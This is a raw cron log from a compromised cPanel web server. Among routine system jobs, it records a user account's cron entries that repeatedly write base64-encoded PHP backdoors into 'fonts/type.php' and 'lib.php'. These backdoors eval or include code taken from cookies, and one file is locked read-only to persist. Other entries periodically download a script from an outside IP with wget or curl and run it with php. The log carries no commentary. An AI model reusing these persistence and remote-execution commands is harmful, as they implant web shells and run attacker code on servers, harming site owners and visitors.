Sep  6 14:17:01 ip-184-168-122-23 CROND[5919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:17:01 ip-184-168-122-23 CROND[5921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:17:01 ip-184-168-122-23 CROND[5924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:17:01 ip-184-168-122-23 CROND[5925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:18:01 ip-184-168-122-23 CROND[6082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:18:01 ip-184-168-122-23 CROND[6083]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:18:01 ip-184-168-122-23 CROND[6085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:18:01 ip-184-168-122-23 CROND[6087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:18:01 ip-184-168-122-23 CROND[6090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:19:01 ip-184-168-122-23 CROND[6288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:19:01 ip-184-168-122-23 CROND[6289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:19:01 ip-184-168-122-23 CROND[6290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:19:01 ip-184-168-122-23 CROND[6291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:20:01 ip-184-168-122-23 CROND[6500]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:20:01 ip-184-168-122-23 CROND[6502]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 14:20:01 ip-184-168-122-23 CROND[6511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:20:01 ip-184-168-122-23 CROND[6509]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:20:01 ip-184-168-122-23 CROND[6510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:20:01 ip-184-168-122-23 CROND[6507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:20:01 ip-184-168-122-23 CROND[6508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:20:01 ip-184-168-122-23 CROND[6512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:20:01 ip-184-168-122-23 CROND[6514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:21:01 ip-184-168-122-23 CROND[6721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:21:01 ip-184-168-122-23 CROND[6723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:21:01 ip-184-168-122-23 CROND[6724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:21:01 ip-184-168-122-23 CROND[6725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:22:01 ip-184-168-122-23 CROND[6901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:22:01 ip-184-168-122-23 CROND[6903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:22:01 ip-184-168-122-23 CROND[6905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:22:01 ip-184-168-122-23 CROND[6904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:22:01 ip-184-168-122-23 CROND[6907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:23:02 ip-184-168-122-23 CROND[7083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:23:02 ip-184-168-122-23 CROND[7085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:23:02 ip-184-168-122-23 CROND[7084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:23:02 ip-184-168-122-23 CROND[7086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:24:01 ip-184-168-122-23 CROND[7375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:24:01 ip-184-168-122-23 CROND[7379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:24:01 ip-184-168-122-23 CROND[7377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:24:01 ip-184-168-122-23 CROND[7378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:24:01 ip-184-168-122-23 CROND[7380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:25:01 ip-184-168-122-23 CROND[7604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:25:01 ip-184-168-122-23 CROND[7605]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 14:25:01 ip-184-168-122-23 CROND[7608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:25:01 ip-184-168-122-23 CROND[7610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:25:01 ip-184-168-122-23 CROND[7606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:25:01 ip-184-168-122-23 CROND[7612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:25:01 ip-184-168-122-23 CROND[7611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:26:01 ip-184-168-122-23 CROND[7773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:26:01 ip-184-168-122-23 CROND[7774]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  6 14:26:02 ip-184-168-122-23 CROND[7775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:26:02 ip-184-168-122-23 CROND[7778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:26:02 ip-184-168-122-23 CROND[7779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:26:02 ip-184-168-122-23 CROND[7777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  6 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  6 14:27:01 ip-184-168-122-23 CROND[8044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:27:01 ip-184-168-122-23 CROND[8047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:27:01 ip-184-168-122-23 CROND[8045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:27:01 ip-184-168-122-23 CROND[8046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:28:01 ip-184-168-122-23 CROND[8265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:28:01 ip-184-168-122-23 CROND[8266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:28:01 ip-184-168-122-23 CROND[8269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:28:01 ip-184-168-122-23 CROND[8267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:28:01 ip-184-168-122-23 CROND[8270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:29:01 ip-184-168-122-23 CROND[8450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
